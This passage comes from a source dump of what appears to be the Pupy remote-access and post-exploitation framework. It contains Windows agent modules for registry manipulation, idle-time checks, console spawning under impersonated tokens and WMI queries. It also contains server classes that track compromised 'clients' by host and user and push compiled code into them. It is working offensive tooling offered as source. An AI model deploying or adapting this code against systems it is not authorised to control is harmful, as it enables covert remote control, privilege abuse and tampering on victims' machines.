_query_value(self, handle, attr):\n        attr = try_as_unicode_string(attr, fail=False)\n        try:\n            value, ktype = QueryValueEx(handle, attr)\n        except WindowsError as e:\n            if e.winerror != 2:\n                raise\n\n            raise KeyError(attr)\n\n        return Value(self.arg, attr, value, ktype)\n\n    def __iter__(self):\n        handle = self._open_key(\n            KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS)\n\n        iterator = KeyIter(self.arg, self.key, self.sub, handle)\n        try:\n            while True:\n                try:\n                    yield next(iterator)\n                except WindowsError:\n                    pass\n\n        except StopIteration:\n            return\n\n        finally:\n            CloseKey(handle)\n\n    def __str__(self):\n        return as_native_string(self.arg)\n\n    def __unicode__(self):\n        return try_as_unicode_string(self.arg, fail=False)\n\n    def __repr__(self):\n        return repr(self.arg)\n\n    def __int__(self):\n        return repr(self.arg)\n\n    def __delitem__(self, attr):\n        handle = self._open_key(KEY_SET_VALUE)\n\n        try:\n            try:\n                return DeleteValue(handle, attr)\n            except WindowsError as e:\n                if e.winerror != 2:\n                    raise\n\n            try:\n                return DeleteKey(handle, attr)\n            except WindowsError as e:\n                if e.winerror != 2:\n                    raise\n\n            raise KeyError(attr)\n\n        finally:\n            CloseKey(handle)\n\n    def __getitem__(self, attr):\n        handle = self._open_key(KEY_QUERY_VALUE)\n        try:\n            return self._query_value(handle, attr)\n        finally:\n            CloseKey(handle)\n\n    def __setitem__(self, attr, value):\n        vtype = type(value)\n\n        if vtype not in WELL_KNOWN_TYPES and vtype is not Value:\n            raise TypeError('setattr only supported for str/int')\n\n        ktype = value.type if vtype is Value else WELL_KNOWN_TYPES[vtype]\n        if vtype is Value:\n            value = value.value\n        elif ktype == REG_SZ and '%' in value:\n            ktype = REG_EXPAND_SZ\n\n        handle = self._open_key(KEY_ALL_ACCESS)\n        try:\n            return SetValueEx(\n                handle, attr, ktype, value\n            )\n        finally:\n            CloseKey(handle)\n\ndef _search(\n    completed, data_cb, close_cb,\n    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,\n        name=True, value=True, regex=False,\n        ignorecase=False, first=False, equals=False):\n\n    compare = None\n\n    def contains(u_term, b_term, i_term, value, ignorecase=False):\n        if isinstance(value, unicode):\n            if ignorecase:\n                value = value.lower()\n            return u_term in value\n        elif isinstance(value, (int, long)):\n            if i_term is None:\n                return False\n            return i_term == value\n        elif isinstance(value, str):\n            if ignorecase:\n                value = value.lower()\n            return b_term in value\n        elif isinstance(value, list):\n            return any(\n                contains(\n                    u_term, b_term, i_term, x, ignorecase\n                ) for x in value\n            )\n        else:\n            return False\n\n    def issame(u_term, b_term, i_term, value, ignorecase=False):\n        if isinstance(value, unicode):\n            if ignorecase:\n                value = value.lower()\n            return u_term == value\n        elif isinstance(value, (int, long)):\n            if i_term is None:\n                return False\n            return i_term == value\n        elif isinstance(value, str):\n            if ignorecase:\n                value = value.lower()\n            return b_term == value\n        elif isinstance(value, list):\n            return any(\n                issame(\n                    u_term, b_term, i_term, x, ignorecase\n                ) for x in value\n            )\n        else:\n            return False\n\n    if ignorecase:\n        term = term.lower()\n\n    u_term = try_as_unicode_string(term, fail=False)\n    b_term = as_native_string(term)\n\n    try:\n        i_term = int(term)\n    except ValueError:\n        i_term = None\n\n    if regex:\n        term_re = re.compile(\n            u_term,\n            re.UNICODE | \\\n                re.MULTILINE | \\\n                    (re.IGNORECASE if ignorecase else 0))\n\n        if equals:\n            compare = lambda x: \\\n                term_re.match(x) if isinstance(x, unicode) else False\n        else:\n            compare = lambda x: \\\n                term_re.search(x) if isinstance(x, unicode) else False\n\n    else:\n        if equals:\n            compare = lambda x: issame(u_term, b_term, i_term, x, ignorecase)\n        else:\n            compare = lambda x: contains(u_term, b_term, i_term, x, ignorecase)\n\n    if type(roots) in (str, unicode):\n        roots = [roots]\n\n    def _walk(root, data_cb):\n        for kv in root:\n            if completed.is_set():\n                break\n\n            if isinstance(kv, Key):\n                if key and compare(kv.name):\n                    data_cb((True, kv.name))\n                    if first:\n                        completed.set()\n                        return\n\n                try:\n                    _walk(kv, data_cb)\n                except WindowsError:\n                    pass\n\n            elif isinstance(kv, Value):\n                if (\n                    name and compare(kv.name)\n                ) or (\n                    value and compare(kv.value)\n                ):\n                    data_cb((\n                        False, kv.parent, kv.name,\n                        kv.value, kv.type))\n                    if first:\n                        completed.set()\n                        return\n            else:\n                raise TypeError(\n                    'Unknown type {} in search'.format(\n                        type(kv)))\n\n    try:\n        for root in roots:\n            try:\n                _walk(Key(root), data_cb)\n            except WindowsError:\n                continue\n\n    except Exception as e:\n        data_cb((None, '{}\\n{}'.format(e, traceback.format_exc())))\n\n    finally:\n        if completed.is_set():\n            data_cb((None, 'Interrupted'))\n\n        completed.set()\n        close_cb()\n\n\ndef search(\n    data_cb, close_cb,\n    term, roots=('HKU', 'HKLM', 'HKCC'), key=True,\n        name=True, value=True, regex=False,\n        ignorecase=False, first=False, equals=False):\n\n    data_cb = nowait(data_cb)\n    close_cb = nowait(close_cb)\n\n    completed = threading.Event()\n    worker = threading.Thread(\n        name='Reg:Search',\n        target=_search,\n        args=(\n            completed,\n            data_cb, close_cb,\n            term, roots, key,\n            name, value, regex,\n            ignorecase, first, equals\n        )\n    )\n\n    worker.start()\n\n    def interrupt():\n        completed.set()\n        worker.join()\n\n    return interrupt\n\n\ndef enum(path=None):\n    if path is None:\n        return [(\n            True, unicode(item)\n        ) for item in WELL_KNOWN_KEYS]\n\n    try:\n        tupleized = []\n\n        for item in Key(path):\n            if type(item) == Key:\n                tupleized.append((True, unicode(item)))\n            else:\n                tupleized.append((\n                    False, item.parent, item.name,\n                    item.value, item.type))\n\n        return tuple(tupleized)\n\n    except KeyError:\n        return None\n\ndef set(path, name, value, create):\n    try:\n        k = Key(path, create=create)\n        try:\n            old_value = k[name]\n            if old_value.type in (REG_DWORD, REG_DWORD_LITTLE_ENDIAN):\n                if not isinstance(value, (int, long)):\n                    value = int(value)\n        except KeyError:\n            pass\n\n        k[name] = value\n        return True\n\n    except KeyError:\n        return False\n\ndef get(path, name):\n    try:\n        return Key(path)[name].value\n    except KeyError:\n        return None\n\ndef rm(path, name):\n    try:\n        del Key(path)[name]\n        return True\n    except KeyError:\n        return False\n"
  },
  {
    "path": "pupy/packages/windows/all/uidle.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom ctypes import Structure, windll, c_uint, sizeof, byref\n\nclass LASTINPUTINFO(Structure):\n    _fields_ = [\n        ('cbSize', c_uint),\n        ('dwTime', c_uint),\n    ]\n\nGetLastInputInfo = windll.user32.GetLastInputInfo\n\nif hasattr(windll.kernel32, 'GetTickCount64'):\n    from ctypes import c_ulonglong\n    GetTickCount = windll.kernel32.GetTickCount64\n    GetTickCount.restype = c_ulonglong\nelse:\n    GetTickCount = windll.kernel32.GetTickCount\n    GetTickCount.restype = c_uint\n\ndef get_gui_idle(display=None):\n    lastInputInfo = LASTINPUTINFO()\n    lastInputInfo.cbSize = sizeof(lastInputInfo)\n    if GetLastInputInfo(byref(lastInputInfo)):\n        millis = GetTickCount() - lastInputInfo.dwTime\n        return int(millis / 1000)\n\ndef get_idle():\n    return get_gui_idle()\n"
  },
  {
    "path": "pupy/packages/windows/all/winpty.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom contextlib import contextmanager\nfrom pupwinutils.security import impersonate_token\n\nfrom pupwinutils.security import (\n    CreateFile, ReadFile, WriteFile, CloseHandle, TerminateProcess,\n    GENERIC_READ, GENERIC_WRITE, OPEN_EXISTING, INVALID_HANDLE_VALUE\n)\n\nfrom ctypes import (\n    c_int, c_uint, c_void_p, pointer, byref,\n    c_ulonglong, CFUNCTYPE, WinError, get_last_error,\n    create_string_buffer\n)\nfrom ctypes.wintypes import (\n    HANDLE, DWORD, LPCWSTR, HWND,\n)\n\nimport pupy.agent\n\nif hasattr(pupy, 'get_logger'):\n    logger = pupy.get_logger('winpty')\nelse:\n    import logging\n    logger = logging.getLogger('winpty')\n\n\nWINPTY_ERROR_SUCCESS = 0\nWINPTY_ERROR_OUT_OF_MEMORY = 1\nWINPTY_ERROR_SPAWN_CREATE_PROCESS_FAILED = 2\nWINPTY_ERROR_LOST_CONNECTION = 3\nWINPTY_ERROR_AGENT_EXE_MISSING = 4\nWINPTY_ERROR_UNSPECIFIED = 5\nWINPTY_ERROR_AGENT_DIED = 6\nWINPTY_ERROR_AGENT_TIMEOUT = 7\nWINPTY_ERROR_AGENT_CREATION_FAILED = 8\n\nWINPTY_FLAG_CONERR = 0x1\nWINPTY_FLAG_PLAIN_OUTPUT = 0x2\nWINPTY_FLAG_COLOR_ESCAPES = 0x4\nWINPTY_FLAG_ALLOW_CURPROC_DESKTOP_CREATION = 0x8\n\nWINPTY_MOUSE_MODE_NONE = 0\nWINPTY_MOUSE_MODE_AUTO = 1\nWINPTY_MOUSE_MODE_FORCE = 2\n\nWINPTY_SPAWN_FLAG_AUTO_SHUTDOWN = 1\nWINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN = 2\n\nDLLNAME = 'WINPTY.DLL'\n\nclass WinPty(object):\n    def __init__(self):\n        _functions = {\n            'winpty_error_code': CFUNCTYPE(DWORD, c_void_p),\n            'winpty_error_msg': CFUNCTYPE(LPCWSTR, c_void_p),\n            'winpty_error_free': CFUNCTYPE(None, c_void_p),\n            'winpty_config_new': CFUNCTYPE(c_void_p, c_ulonglong, c_void_p),\n            'winpty_config_free': CFUNCTYPE(None, c_void_p),\n            'winpty_config_set_initial_size': CFUNCTYPE(None, c_void_p, c_int, c_int),\n            'winpty_config_set_mouse_mode': CFUNCTYPE(None, c_void_p, c_int),\n            'winpty_config_set_htoken': CFUNCTYPE(None, c_void_p, c_void_p),\n            'winpty_config_set_agent_timeout': CFUNCTYPE(None, c_void_p, c_uint),\n            'winpty_open': CFUNCTYPE(c_void_p, c_void_p, c_void_p),\n            'winpty_free': CFUNCTYPE(None, c_void_p),\n            'winpty_agent_process': CFUNCTYPE(HWND, c_void_p),\n            'winpty_spawn_config_new': CFUNCTYPE(\n                c_void_p, c_ulonglong, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, c_void_p),\n            'winpty_spawn_config_free': CFUNCTYPE(None, c_void_p),\n            'winpty_spawn': CFUNCTYPE(c_int, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p, c_void_p),\n            'winpty_set_size': CFUNCTYPE(c_int, c_void_p, c_int, c_int, c_void_p),\n            'winpty_conin_name': CFUNCTYPE(LPCWSTR, c_void_p),\n            'winpty_conout_name': CFUNCTYPE(LPCWSTR, c_void_p),\n            'winpty_conerr_name': CFUNCTYPE(LPCWSTR, c_void_p)\n        }\n\n        _new_api = set(['winpty_config_set_htoken'])\n\n        for funcname, definition in _functions.items():\n            funcaddr = pupy.find_function_address(DLLNAME, funcname)\n            if not funcaddr and funcname not in _new_api:\n                raise ImportError(\n                    \"Couldn't find function {} at winpty.dll\".format(\n                        funcname))\n\n            setattr(self, funcname[len('winpty_'):], definition(funcaddr))\n\nwinpty = WinPty()\n\nclass WinPTYException(Exception):\n    def __init__(self, code, message):\n        Exception.__init__(self, message)\n        self.code = code\n\n@contextmanager\ndef winpty_error():\n    error = c_void_p(None)\n    try:\n        yield pointer(error)\n        code = winpty.error_code(error)\n        if code != WINPTY_ERROR_SUCCESS:\n            message = winpty.error_msg(error)\n            raise WinPTYException(code, message)\n    finally:\n        winpty.error_free(error)\n\n\nclass WinPTY(object):\n    def __init__(self, program,\n            cmdline=None, cwd=None, env=None, htoken=None,\n            spawn_flags=WINPTY_SPAWN_FLAG_AUTO_SHUTDOWN|WINPTY_SPAWN_FLAG_EXIT_AFTER_SHUTDOWN,\n            pty_flags=0, pty_size=(80,25), pty_mouse=WINPTY_MOUSE_MODE_NONE):\n\n        self._closed = False\n\n        config = None\n        try:\n            with winpty_error() as error:\n                config = winpty.config_new(pty_flags, error)\n\n            cols, rows = pty_size\n            if cols and rows:\n                winpty.config_set_initial_size(config, cols, rows)\n            winpty.config_set_mouse_mode(config, pty_mouse)\n\n            if htoken:\n                caller_thread_htoken, requested_htoken = htoken\n                htokendup = impersonate_token(caller_thread_htoken)\n                CloseHandle(caller_thread_htoken)\n\n                if htokendup:\n                    winpty.config_set_htoken(config, requested_htoken)\n\n            with winpty_error() as error:\n                self._pty = winpty.open(config, error)\n        finally:\n            winpty.config_free(config)\n\n        self._conin = winpty.conin_name(self._pty)\n        self._conout = winpty.conout_name(self._pty)\n        self._conerr = winpty.conerr_name(self._pty)\n        self._process_handle = None\n\n        try:\n            self._conin_pipe = CreateFile(\n                self._conin,\n                GENERIC_WRITE,\n                0, None,\n                OPEN_EXISTING,\n                0, None\n            )\n\n            if self._conin_pipe == INVALID_HANDLE_VALUE:\n                raise WinError(get_last_error())\n\n            self._conout_pipe = CreateFile(\n                self._conout,\n                GENERIC_READ,\n                0, None,\n                OPEN_EXISTING,\n                0, None\n            )\n\n            if self._conout_pipe == INVALID_HANDLE_VALUE:\n                raise WinError(get_last_error())\n\n            if self._conerr:\n                self._conerr_pipe = CreateFile(\n                    self._conerr,\n                    GENERIC_READ,\n                    0, None,\n                    OPEN_EXISTING,\n                    0, None\n                )\n                if self._conerr_pipe == INVALID_HANDLE_VALUE:\n                    raise WinError(get_last_error())\n\n            else:\n                self._conerr_pipe = None\n\n            try:\n                spawn_ctx = None\n                process_handle = HANDLE()\n                thread_handle = HANDLE()\n                create_process_error = DWORD()\n\n                with winpty_error() as error:\n                    spawn_ctx = winpty.spawn_config_new(\n                        spawn_flags, program, cmdline, cwd, env, error\n                    )\n\n                with winpty_error() as error:\n                    spawned = winpty.spawn(\n                        self._pty, spawn_ctx,\n                        pointer(process_handle),\n                        pointer(thread_handle),\n                        pointer(create_process_error),\n                        error\n                    )\n\n                    if spawned:\n                        self._process_handle = process_handle\n\n            finally:\n                winpty.spawn_config_free(spawn_ctx)\n\n        except Exception as e:\n            logger.exception(e)\n            self.close()\n            raise\n\n    def write(self, data):\n        if self._closed:\n            return False\n\n        written = DWORD()\n\n        if not WriteFile(self._conin_pipe, data, len(data), byref(written), None):\n            raise WinError(get_last_error())\n\n    def read(self, amount=8192):\n        buffer = create_string_buffer(amount)\n        read = DWORD()\n\n        if not ReadFile(self._conout_pipe, buffer, amount, byref(read), None):\n            error = get_last_error()\n\n            # Closed pipe\n            if error == 109:\n                return ''\n\n            raise WinError(error)\n\n        if not read.value:\n            return ''\n\n        return buffer[:read.value]\n\n    def read_loop(self, read_cb):\n        while True:\n            data = self.read()\n            if not data:\n                break\n\n            read_cb(data)\n\n    def resize(self, cols, rows):\n        if self._closed:\n            return False\n\n        with winpty_error() as error:\n            winpty.set_size(self._pty, rows, cols, error)\n\n    def close(self):\n        if self._closed:\n            return False\n\n        self._closed = True\n\n        if self._process_handle:\n            try:\n                TerminateProcess(self._process_handle, 0)\n                CloseHandle(self._process_handle)\n            except:\n                pass\n\n        CloseHandle(self._conin_pipe)\n        CloseHandle(self._conout_pipe)\n\n        if self._conerr_pipe:\n            CloseHandle(self._conerr_pipe)\n\n        winpty.free(self._pty)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, *args):\n        self.close()\n"
  },
  {
    "path": "pupy/packages/windows/all/wql.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport wmi\n\ndef to_utf8(data):\n    if isinstance(data, wmi._wmi_object):\n        return to_utf8(data.id.split('!', 1)[1])\n\n    elif type(data) != str:\n        return data\n\n    for encoding in ('utf-8', 'mbcs', 'utf-16le', 'latin1'):\n        try:\n            return data.decode(encoding)\n        except UnicodeError:\n            pass\n\n    return data\n\ndef execute(query):\n    try:\n        client = wmi.WMI()\n    except wmi.x_wmi_uninitialised_thread:\n        import pythoncom\n        pythoncom.CoInitialize()\n        client = wmi.WMI()\n\n    return client.query(query)\n\ndef execute_final(query):\n    response = execute(query)\n\n    columns = set()\n    result = []\n\n    for item in response:\n        columns.update(item.properties)\n\n        result.append(\n            tuple(\n                (\n                    to_utf8(column), to_utf8(getattr(item, column))\n                ) for column in item.properties\n            )\n        )\n\n    _query = query.lower()\n    try:\n        idx_select = _query.index('select') + 7\n        idx_from = _query.index('from')\n\n        fields = to_utf8(query[idx_select:idx_from])\n        if '*' not in fields:\n            maybe_columns = tuple(x.strip() for x in fields.split(','))\n            if all(column in columns for column in maybe_columns):\n                columns = maybe_columns\n\n    except ValueError:\n        pass\n\n    return tuple(columns), tuple(result)\n"
  },
  {
    "path": "pupy/payload_templates/.keep",
    "content": ""
  },
  {
    "path": "pupy/pupylib/PupyCategories.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom . import conf\n\nimport logging\n\nclass PupyCategories(object):\n    def __init__(self, pupsrv):\n        self.pupsrv=pupsrv\n        self.categories={} #sorted by category\n        for c in conf.categories:\n            self.categories[c]=[]\n        self.shell_list=[]\n        self.os_shell_lists={\"android\":[], \"windows\":[], \"linux\":[], \"osx\":[]}\n        self.parse_categories()\n\n    def parse_categories(self):\n        #init categories dic\n        for mod in self.pupsrv.iter_modules():\n            if not mod.category:\n                mod.category=\"general\"\n            if mod.category not in self.get_categories():\n                logging.warning(\"Undefined category \\\"%s\\\" for module %s\"%(mod.category, mod.get_name()))\n                self.categories[\"general\"].append(mod)\n            else:\n                self.categories[mod.category].append(mod)\n            #fill shell_list for fast auto-completion:\n            self.shell_list.append(\"%s/%s\"%(mod.category,mod.get_name()))\n            for system in self.os_shell_lists:\n                if self.is_os_compatible(mod, system):\n                    self.os_shell_lists[system].append(\"%s/%s/%s\"%(system,mod.category,mod.get_name()))\n\n    def is_os_compatible(self, mod, system):\n        if len(mod.compatible_systems)==0 or \"all\" in mod.compatible_systems:\n            return True\n        elif system in mod.compatible_systems:\n            return True\n        elif system==\"unix\" and any([True for x in mod.compatible_systems if x in [\"osx\", \"darwin\", \"linux\", \"android\"]]):\n            return True\n        return False\n\n    def get_module_from_path(self, shell_path):\n        \"\"\" take a auto-completed path and return the corresponding module \"\"\"\n        tab = shell_path.strip('/').split('/')\n        if len(tab) == 2: #cat/mod\n            for mod in self.categories[tab[0]]:\n                if mod.get_name() == tab[1]:\n                    return mod\n        elif len(tab) == 3: #os/cat/mod\n            for mod in self.categories[tab[1]]:\n                if self.is_os_compatible(mod, tab[0]) and mod.get_name()==tab[2]:\n                    return mod\n\n    def get_categories(self):\n        return conf.categories\n\n    def get_modules_by_category(self, category, system=None):\n        \"\"\" return all modules in a category. Also filter by os if system is not None \"\"\"\n        if system is None:\n            return self.categories[category]\n        else:\n            modules = []\n            for mod in self.categories[category]:\n                if system in mod.compatible_systems:\n                    modules.append(mod)\n            return modules\n\n    def get_shell_list(self, start_text):\n        \"\"\" return a list of modules sorted for shell auto completion \"\"\"\n        for k in self.os_shell_lists:\n            if start_text.startswith(k):\n                return [x+\" \" for x in self.os_shell_lists[k] if x.startswith(start_text)]\n        completions = [\n            x+\" \" for x in self.shell_list if x.startswith(start_text)\n        ] + [\n            x+\"/\" for x in self.os_shell_lists if x.startswith(start_text)\n        ]\n\n        if not completions:\n            completions += [\n                x.rsplit(\"/\",1)[1]+\" \" for x in self.shell_list if x.rsplit(\"/\",1)[1].startswith(start_text)\n            ]\n\n        return completions\n"
  },
  {
    "path": "pupy/pupylib/PupyClient.py",
    "content": "# -*- coding: utf-8 -*-\n# --------------------------------------------------------------\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice,\n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its contributors\n# may be used to endorse or promote products derived from this software without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE\n# --------------------------------------------------------------\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport zlib\n\nimport umsgpack\nimport sys\n\nfrom threading import Lock\nfrom os import path\n\nfrom . import ROOT\nfrom .PupyCompile import pupycompile\nfrom .PupyTriggers import event\n\nfrom .payloads import dependencies\nfrom .utils.rpyc_utils import obtain\nfrom .utils.arch import make_os_arch, make_proc_arch\n\nfrom pupy.network.lib.rpc import nowait\nfrom pupy.network.lib.convcompat import (\n    as_native_string, as_unicode_string_deep,\n    reprb\n)\n\nfrom . import getLogger\nlogger = getLogger('client')\n\nif sys.version_info.major > 2:\n    basestring = str\n\n\nclass PupyClient(object):\n    def __init__(self, desc, pupsrv):\n        self.desc = as_unicode_string_deep(desc)\n\n        if __debug__:\n            logger.debug(\n                'New client, desc: %s (%s) -> %s (%s)',\n                desc, type(desc), self.desc, type(self.desc)\n            )\n\n        # alias\n        self.conn = self.desc['conn']\n\n        self.is3to2 = (self.conn.remote_version[0] == 2 and sys.version_info.major == 3)\n\n        self.target = dependencies.Target(\n            self.conn.remote_version,\n            (\n                self.platform, self.arch\n            ),\n            debug='debug_logfile' in self.desc,\n            purepy=self.conn.remote_is_purepy\n        )\n\n        self.conn.events_receiver = self._event_receiver\n\n        self.pupsrv = pupsrv\n        self.imported_dlls = set()\n        self.imported_modules = set()\n        self.cached_modules = set()\n        self.pupyimporter = None\n        self.pupy_load_dll = False\n        self.new_dlls = False\n        self.new_modules = False\n        self.remotes = {}\n        self.remotes_lock = Lock()\n        self.obtain_call = None\n\n        if self.conn.protocol_version is None:\n            # Legacy client\n            logger.warning(\"legacy init\")\n            self._legacy_init()\n        else:\n            # Extended init\n            self._versioned_init(self.conn.protocol_version)\n\n        # To reuse impersonated handle in other modules\n        self.impersonated_dupHandle = None\n\n    def __str__(self):\n        return '{PupyClient(id=%s, user=%s, hostname=%s, target=%s)}' % (\n            self.desc['id'], self.desc['user'],\n            self.desc['hostname'], self.target\n        )\n\n    @property\n    def id(self):\n        return self.desc['id']\n\n    def _event_receiver(self, eventid):\n        event(eventid, self, self.pupsrv, **self.desc)\n\n    def get_conf(self):\n        return {\n            k: v for k, v in self.desc.items() if k in (\n                'offline_script', 'launcher', 'launcher_args',\n                'cid', 'debug'\n            )\n        }\n\n    def short_name(self):\n        try:\n            return '_'.join([\n                self.desc['platform'][0:3].lower(),\n                self.desc['hostname'],\n                self.desc.get(\n                    'node', self.desc['macaddr'].replace(':', ''))\n            ])\n\n        except Exception:\n            return 'unknown'\n\n    def node(self):\n        return self.desc['macaddr'].replace(':', '').lower()\n\n    def is_unix(self):\n        return not self.is_windows()\n\n    def is_posix(self):\n        return self.desc['os_name'].lower() == 'posix'\n\n    def is_linux(self):\n        return 'linux' in self.desc['platform'].lower()\n\n    def is_java(self):\n        return 'java' in self.desc['platform'].lower()\n\n    def is_android(self):\n        return self.desc['platform'].lower() == 'android'\n\n    def is_windows(self):\n        if 'windows' in self.desc['platform'].lower():\n            return True\n        return False\n\n    def is_solaris(self):\n        return 'sunos' in self.desc['platform'].lower()\n\n    def is_darwin(self):\n        if 'darwin' in self.desc['platform'].lower():\n            return True\n        return False\n\n    @property\n    def platform(self):\n        if self.is_android():\n            return 'android'\n        elif self.is_windows():\n            return 'windows'\n        elif self.is_linux():\n            return 'linux'\n        elif self.is_darwin():\n            return 'darwin'\n        elif self.is_solaris():\n            return 'solaris'\n        elif self.is_unix():\n            return 'unix'\n\n    @property\n    def os_arch(self):\n        return make_os_arch(\n            self.desc['os_arch'].lower()\n        )\n\n    @property\n    def arch(self):\n        return make_proc_arch(\n            self.os_arch, self.desc['proc_arch']\n        )\n\n    def remote(self, module, function=None, need_obtain=True):\n        remote_module = None\n        remote_function = None\n        need_obtain = need_obtain and self.obtain_call is not False\n\n        with self.remotes_lock:\n            if module in self.remotes:\n                remote_module = self.remotes[module]['_']\n            else:\n                remote_module = getattr(self.conn.modules, module)\n                self.remotes[module] = {\n                    '_': remote_module\n                }\n\n            if function:\n                if function in self.remotes[module]:\n                    remote_function = self.remotes[module][function]\n                else:\n                    remote_function = getattr(\n                        self.conn.modules[module], function\n                    )\n                    self.remotes[module][function] = remote_function\n\n        if function and need_obtain:\n            if self.obtain_call:\n\n                def _call_wrapper(*args, **kwargs):\n                    return self.obtain_call(remote_function, *args, **kwargs)\n\n                return _call_wrapper\n\n            else:\n                def _call_wrapper(*args, **kwargs):\n                    return obtain(remote_function(*args, **kwargs))\n\n                return _call_wrapper\n\n        elif function:\n            return remote_function\n\n        else:\n            return remote_module\n\n    def remote_const(self, module, variable):\n        remote_module = None\n        remote_variable = None\n\n        with self.remotes_lock:\n            if module in self.remotes:\n                remote_module = self.remotes[module]['_']\n            else:\n                remote_module = getattr(self.conn.modules, module)\n                self.remotes[module] = {\n                    '_': remote_module\n                }\n\n            if variable in self.remotes[module]:\n                remote_variable = self.remotes[module][variable]\n            else:\n                remote_variable = obtain(\n                    getattr(self.conn.modules[module], variable)\n                )\n                self.remotes[module][variable] = remote_variable\n\n        return remote_variable\n\n    def _versioned_init(self, version):\n        self.pupyimporter = self.conn.pupyimporter\n\n        register_package_request_hook = nowait(\n            self.conn.pupyimporter_funcs['register_package_request_hook']\n        )\n\n        register_package_error_hook = nowait(\n            self.conn.pupyimporter_funcs['register_package_error_hook']\n        )\n\n        self.conn.register_remote_cleanup(\n            self.conn.pupyimporter_funcs['unregister_package_request_hook']\n        )\n\n        register_package_request_hook(self.remote_load_package)\n\n        self.conn.register_remote_cleanup(\n            self.conn.pupyimporter_funcs['unregister_package_error_hook']\n        )\n\n        register_package_error_hook(self.remote_print_error)\n\n        self.pupy_load_dll = self.conn.pupyimporter_funcs['load_dll']\n        self.remote_add_package = nowait(\n            self.conn.pupyimporter_funcs['pupy_add_package']\n        )\n        self.remote_invalidate_package = nowait(\n            self.conn.pupyimporter_funcs['invalidate_module']\n        )\n\n        self.new_dlls = self.conn.pupyimporter_funcs['new_dlls']\n        self.new_modules = self.conn.pupyimporter_funcs['new_modules']\n\n        self.obtain_call = lambda func, *args, **kwargs: func(*args, **kwargs)\n\n        self.imported_modules = self.conn.remote_loaded_modules\n        self.cached_modules = self.conn.remote_cached_modules\n\n    def _legacy_init(self):\n        \"\"\" load pupyimporter in case it is not extended version \"\"\"\n\n        if not self.conn.pupyimporter:\n            try:\n                self.pupyimporter = self.remote('pupyimporter')\n            except Exception:\n                self.conn.execute('\\n'.join([\n                    'import importlib.util, sys, marshal',\n                    'mod = importlib.util.module_from_spec(importlib.util.spec_from_loader(\"pupyimporter\", loader=None))',\n                    'mod.__file__=\"<bootloader>/pupyimporter\"',\n                    'exec(marshal.loads({}), mod.__dict__)'.format(\n                        reprb(pupycompile(\n                            path.join(\n                                ROOT, 'packages', 'all', 'pupyimporter.py'\n                            ),\n                            'pupyimporter.py',\n                            path=True, raw=True,\n                            target=self.target.pyver\n                        ))\n                    ),\n                    'sys.modules[\"pupyimporter\"]=mod',\n                    'mod.install()']))\n\n                self.pupyimporter = self.remote('pupyimporter')\n        else:\n            self.pupyimporter = self.conn.pupyimporter\n\n        if self.conn.register_remote_cleanup:\n            register_package_request_hook = nowait(\n                self.pupyimporter.register_package_request_hook\n            )\n\n            register_package_error_hook = nowait(\n                self.pupyimporter.register_package_error_hook\n            )\n\n            self.conn.register_remote_cleanup(\n                self.pupyimporter.unregister_package_request_hook\n            )\n\n            register_package_request_hook(\n                self.remote_load_package\n            )\n\n            self.conn.register_remote_cleanup(\n                self.pupyimporter.unregister_package_error_hook\n            )\n\n            register_package_error_hook(self.remote_print_error)\n\n        self.pupy_load_dll = getattr(self.pupyimporter, 'load_dll', None)\n        self.remote_add_package = nowait(self.pupyimporter.pupy_add_package)\n        self.remote_invalidate_package = nowait(\n            self.pupyimporter.invalidate_module\n        )\n\n        if self.conn.obtain_call:\n            def obtain_call(function, *args, **kwargs):\n                if args or kwargs:\n                    packed_args = umsgpack.dumps((args, kwargs))\n                    packed_args = zlib.compress(packed_args)\n                else:\n                    packed_args = None\n\n                result = self.conn.obtain_call(function, packed_args)\n                result = zlib.decompress(result)\n                result = 